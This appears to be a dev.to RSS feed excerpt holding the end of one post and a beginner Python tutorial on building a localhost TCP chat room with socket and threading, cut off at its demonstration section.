&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Author: Yuma-Tsushima07&lt;/p&gt;

</description>
      <category>security</category>
      <category>programming</category>
      <category>python</category>
      <category>java</category>
    </item>
    <item>
      <title>[Python] Coding a TCP Room in 200 lines</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Tue, 15 Jun 2021 16:51:55 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/python-coding-a-tcp-room-in-200-lines-1p0m</link>
      <guid>https://dev.to/yumatsushima07/python-coding-a-tcp-room-in-200-lines-1p0m</guid>
      <description>&lt;p&gt;Coding made easy, maybe try making a TCP chat room?&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eR6ZVqC1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aazetogdn46c38atgxwu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eR6ZVqC1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aazetogdn46c38atgxwu.png" alt="Python Socket"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This post is also on Medium you may also have a look at it and share both links if one doesn't work!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/python-coding-a-tcp-room-in-200-lines-5840c461e5e0"&gt;[Python] Coding a TCP Room in 200 lines&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Coding a TCP Room in about 200 lines, let’s dive into our adventure! TCP is a transmission control protocol which is one of the main protocols of an Internet protocol suite. This simple program helps us learn about sockets and Client Side Architecture! Python in general is a great language to start with from beginners to advanced! And of course, it allows us to create solid applications very fast and easily. For a further challenge, you can also add custom features like chat rooms, commands, roles, send images etc…&lt;/p&gt;
&lt;h3&gt;
  
  
  What is Client Side Architecture?
&lt;/h3&gt;

&lt;p&gt;Our application, will need client-server architecture, meaning we will have many clients (the users) and one central server that hosts everything and provides the data for the clients. Hence, we are going to write two Python scripts. One of the scripts will be starting the server and one will be for the client. We will have to run the server first, so that there is a chat, which the clients can connect to. The clients themselves, are not going to directly communicate to each other but via the central server.&lt;/p&gt;
&lt;h3&gt;
  
  
  Staring the Server
&lt;/h3&gt;

&lt;p&gt;Let’s start implementing the server first, for this we require two modules named &lt;strong&gt;socket&lt;/strong&gt; and &lt;strong&gt;threading&lt;/strong&gt;. Socket is used for network connection and threading is used for performing various tasks at the same time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Module requirements&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Next, we define our connection data and to initialise our socket. We will need an IP-address for the host and a free port number for our server. In this example, we will use the localhost address (127.0.0.1) and the port 5000. The port is actually irrelevant but you have to make sure that the port you are using is free and not reserved. If you are running this script on an actual server, specify the IP-address of the server as the host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;'127.0.0.1'&lt;/span&gt;
&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;
&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;clients&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;aliases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Socket definition and port initiation&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When we define our socket, we need to pass two parameters. These define the type of socket we want to use. The first one (&lt;strong&gt;AF_INET&lt;/strong&gt;) indicates that we are using an internet socket rather than an UNIX socket. The second parameter stands for the protocol we want to use (&lt;strong&gt;SOCK_STREAM&lt;/strong&gt;) indicates that we are using TCP and not UDP. After defining the socket, we bind it to our host and the specified port by passing a tuple that contains both values. We then put our server into listening mode, so that it waits for clients to connect. At the end we create two empty lists, which we will use to store the connected clients and their aliases later on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Broadcast function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here we define a little function that is going to help us broadcasting messages and makes the code more readable. What it does is just sending a message to each client that is connected and therefore in the clients list.&lt;/p&gt;

&lt;p&gt;Now we will start with the implementation of the first major function. This function will be responsible for handling messages from the clients.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handle_client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
           &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="n"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
           &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
           &lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aliases&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
           &lt;span class="n"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; has left the chatroom!'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
           &lt;span class="n"&gt;aliases&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;While-Loop Function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As you can see, this function is running in a while-loop. It won’t stop unless there is an exception because of something that went wrong. The function accepts a client as a parameter. Every time a client connects to our server we run this function for it and it starts an endless loop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'Server is running and listening ...'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;'connection is established with &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'alias?'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;aliases&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;'The alias of this client is &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; has connected to the chat room!'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'You are now connected!'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;thread&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;handle_client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
        &lt;span class="n"&gt;thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Receiving / Listening Function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When we are ready to run our server, we will execute this receive function. It also starts an endless while-loop which constantly accepts new connections from clients. Once a client is connected it sends the string ‘alias’ to it, which will tell the client that its nickname is requested. After that it waits for a response (which hopefully contains the alias) and appends the client with the respective aliases to the lists. After that, we print and broadcast this information. Finally, we start a new thread that runs the previously implemented handling function for this particular client. Now we can just run this function and our server is done.&lt;/p&gt;

&lt;p&gt;Notice that we are always encoding and decoding the messages here. The reason for this is that we can only send bytes and not strings. So we always need to encode messages (for example using UTF-8), when we send them and decode them, when we receive them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"__main__"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Receive Function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Implementing The Client
&lt;/h3&gt;

&lt;p&gt;The server on its own is pretty useless without clients to connect with it. So now we are going to implement our client. For this, we will again need to import the same libraries. Notice that this is now a second separate script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Module implements&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The first steps of the client are to choose an alias and to connect to our server. We will need to know the exact address and the port at which our server is running.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'Choose an alias --&amp;gt; '&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s"&gt;'127.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Alias input and socket initialisation&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As you can see, we are using a different function here. Instead of binding the data and listening, we are connecting to an existing server. Now, a client needs to have two threads that are running at the same time. The first one will constantly receive data from the server and the second one will send our own messages to the server. So we will need two functions here. Let’s start with the receiving part.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;client_receive&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"alias?"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'Error!'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Receive data function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Again we have an endless while-loop here. It constantly tries to receive messages and to print them onto the screen. If the message is alias however, it doesn’t print it but it sends its nickname to the server. In case there is some error, we close the connection and break the loop. Now we just need a function for sending messages and we are almost done.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;client_send&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Client send function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The writing function is quite a short one. It also runs in an endless loop which is always waiting for an input from the user. Once it gets some, it combines it with the nickname and sends it to the server. That’s it we are nearly there. The last thing we need to do is to start two threads that run these two functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;receive_thread&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;client_receive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;receive_thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;send_thread&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;client_send&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;send_thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Starting threads for listening and sending&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Demonstration
&lt;/h2&gt;

